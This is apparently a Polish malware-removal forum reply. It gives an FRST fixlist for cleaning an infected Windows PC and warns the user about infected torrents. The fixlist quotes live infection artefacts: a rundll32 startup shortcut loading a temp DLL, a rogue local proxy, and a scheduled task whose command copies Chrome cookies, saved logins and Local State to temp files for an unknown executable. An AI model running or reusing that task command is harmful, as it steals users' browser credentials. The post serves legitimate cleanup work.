Dlaczego zamiesciles prawie pusty addition i obciety frst.txt?
Odinstaluj: TotalAV
Fixlist.txt dla FRST:
CloseProcesses:
HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [706680 2020-12-09] (Oracle America, Inc. -> Oracle Corporation)
HKU\S-1-5-21-4182480790-1026669427-1388053952-1001\...\Run: [Opera Browser Assistant] => C:\Users\Admin\AppData\Local\Programs\Opera\assistant\browser_assistant.exe [4105424 2021-10-14] (Opera Software AS -> Opera Software)
HKU\S-1-5-21-4182480790-1026669427-1388053952-1001\...\MountPoints2: {bf07ef71-3b51-11ec-80d8-0c5415dc2c65} - "E:\HiSuiteDownLoader.exe"
Startup: C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RUNDLL32.EXE.lnk [2021-10-29] <==== UWAGA
ShortcutAndArgument: RUNDLL32.EXE.lnk -> C:\Windows\System32\rundll32.exe => C:\Users\Admin\AppData\Local\Temp\SLLKYM~1.DLL,YkMfSGxzWUVT
GroupPolicy: Ograniczenia ? <==== UWAGA
Policies: C:\ProgramData\NTUSER.pol: Ograniczenia <==== UWAGA
HKLM\SOFTWARE\Policies\Mozilla\Firefox: Ograniczenia <==== UWAGA
HKLM\SOFTWARE\Policies\Google: Ograniczenia <==== UWAGA
Task: {2F9F00ED-F4D8-4427-8400-C88E683189B5} - System32\Tasks\Opera scheduled assistant Autoupdate 1628447979 => C:\Users\Admin\AppData\Local\Programs\Opera\launcher.exe [46227664 2021-10-20] (Opera Software AS -> Opera Software) -> --scheduledautoupdate --component-name=assistant --component-path="C:\Users\Admin\AppData\Local\Programs\Opera\assistant" $(Arg0)
Task: {CA0E2FF7-6CC0-4D68-B843-A020619E358A} - System32\Tasks\Opera scheduled Autoupdate 1628447954 => C:\Users\Admin\AppData\Local\Programs\Opera\launcher.exe [46227664 2021-10-20] (Opera Software AS -> Opera Software)
Task: {E60AF937-2962-4B59-8DA4-1C93A808D18E} - System32\Tasks\{714C9FBA-EF40-425C-AE09-8E8BD6260FAE} => C:\WINDOWS\SYSTEM32\cMD.EXE /C copy /Y /B "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cookies" "C:\Users\Admin\AppData\Local\Temp\RAQOBO4W1I" > NUL && copy /Y /B "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\VSSP3MSPPF" > NUL && copy /Y /B "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State" "C:\Users\Admin\AppData\Local\Temp\G9BGLCUIPL" > NUL && cd C:\Users\Admin\AppData\Local\Temp\ && "31WA3I6YF4.exe" NLYUYUC0TPf2 RAQOBO4W1I VSSP3MSPPF G9BGLCUIPL -> /C copy /Y /B "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cookies" "C:\Users\Admin\AppData\Local\Temp\RAQOBO4W1I" > NUL && copy /Y /B "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\VSSP3MSPPF" > NUL && copy /Y /B "C:\Us (dane wartości zawierają 221 znaków więcej). <==== UWAGA
ProxyEnable: [S-1-5-21-4182480790-1026669427-1388053952-1001] => Proxy [funkcja włączona]
ProxyServer: [S-1-5-21-4182480790-1026669427-1388053952-1001] => 127.0.0.1:3572
ManualProxies: 1127.0.0.1:3572
RemoveProxy:
R1 webshieldfilter; C:\WINDOWS\System32\drivers\webshieldfilter.sys [96264 2020-12-09] (Microsoft Windows Hardware Compatibility Publisher -> Windows (R) Win 7 DDK provider) <==== UWAGA
S3 MpKslea2899c7; \??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{7DDA19B6-FC79-4EE8-9042-A6000033761D}\MpKslDrv.sys [X]
2021-11-02 08:33 - 2021-11-02 08:33 - 000000000 ____D C:\Users\Admin\Documents\TotalAV
2021-11-02 08:33 - 2020-12-09 18:37 - 000096264 _____ (Windows (R) Win 7 DDK provider) C:\WINDOWS\system32\Drivers\webshieldfilter.sys
2021-11-02 08:31 - 2021-11-02 08:33 - 000000000 ____D C:\Program Files (x86)\TotalAV
2021-11-02 08:31 - 2021-11-02 08:31 - 000001150 _____ C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\TotalAV.lnk
2021-11-02 08:31 - 2021-11-02 08:31 - 000001064 _____ C:\Users\Public\Desktop\TotalAV.lnk
2021-11-02 08:31 - 2021-11-02 08:31 - 000000000 ____D C:\Users\Admin\AppData\Local\GUI
2021-11-02 08:31 - 2021-11-02 08:31 - 000000000 ____D C:\ProgramData\TotalAV
2021-11-02 08:31 - 2021-11-02 08:31 - 000000000 ____D C:\ProgramData\SecuritySuite
2021-10-30 16:34 - 2021-10-31 21:18 - 000000004 _____ C:\ProgramData\rc.dat
2021-10-30 16:33 - 2021-10-31 21:18 - 000000004 _____ C:\ProgramData\lock.dat
2021-10-30 16:33 - 2021-10-30 16:38 - 000000016 _____ C:\ProgramData\lir.bats
2021-10-30 16:33 - 2021-10-30 16:33 - 000000008 _____ C:\ProgramData\ts.dat
2021-10-29 21:55 - 2021-10-31 21:20 - 000000000 ____D C:\ProgramData\SoundFlowPicker
2021-10-29 21:19 - 2021-10-29 22:51 - 012202856 _____ C:\ProgramData\zohplghndapsm.tmp
2021-10-29 21:17 - 2021-10-29 21:17 - 000004410 _____ C:\WINDOWS\system32\Tasks\{714C9FBA-EF40-425C-AE09-8E8BD6260FAE}
2021-10-29 21:15 - 2021-10-29 21:22 - 000000000 ____D C:\Users\Admin\AppData\Roaming\Intel Rapid
2021-10-29 21:15 - 2021-10-29 21:15 - 000000000 ____D C:\ProgramData\Posse
2021-10-29 21:15 - 2021-10-29 21:15 - 000000000 ____D C:\Program Files (x86)\foler
2021-10-29 21:13 - 2021-10-29 21:14 - 000000000 ____D C:\Users\Admin\AppData\LocalLow\iT6tF6rB9
2021-10-29 21:13 - 2021-10-29 21:13 - 000000000 ____D C:\Users\Admin\AppData\Roaming\uneath
2021-10-29 21:13 - 2021-10-29 21:13 - 000000000 ____D C:\Users\Admin\AppData\Roaming\neverlose
2021-10-29 21:13 - 2021-10-29 21:13 - 000000000 ____D C:\Users\Admin\AppData\Local\Yandex
2021-10-29 21:13 - 2021-10-29 21:13 - 000000000 ____D C:\ProgramData\Garbage Cleaner
2021-10-29 21:12 - 2021-10-30 20:07 - 000000000 ____D C:\Program Files (x86)\MachinerData
2021-10-29 21:11 - 2021-11-01 15:27 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\CotList
2021-10-29 21:11 - 2021-11-01 15:27 - 000000000 ____D C:\Program Files (x86)\CotList
2021-10-29 21:11 - 2021-10-29 21:11 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\fSupport.com
2021-10-29 21:11 - 2021-10-29 21:11 - 000000000 ____D C:\Program Files (x86)\Qui
2021-10-29 21:11 - 2021-10-29 21:11 - 000000000 ____D C:\Program Files (x86)\fSupport.com
Na przyszlosc nie sciagaj torrentow skoro nie umiesz i pobierasz zainfekowane.
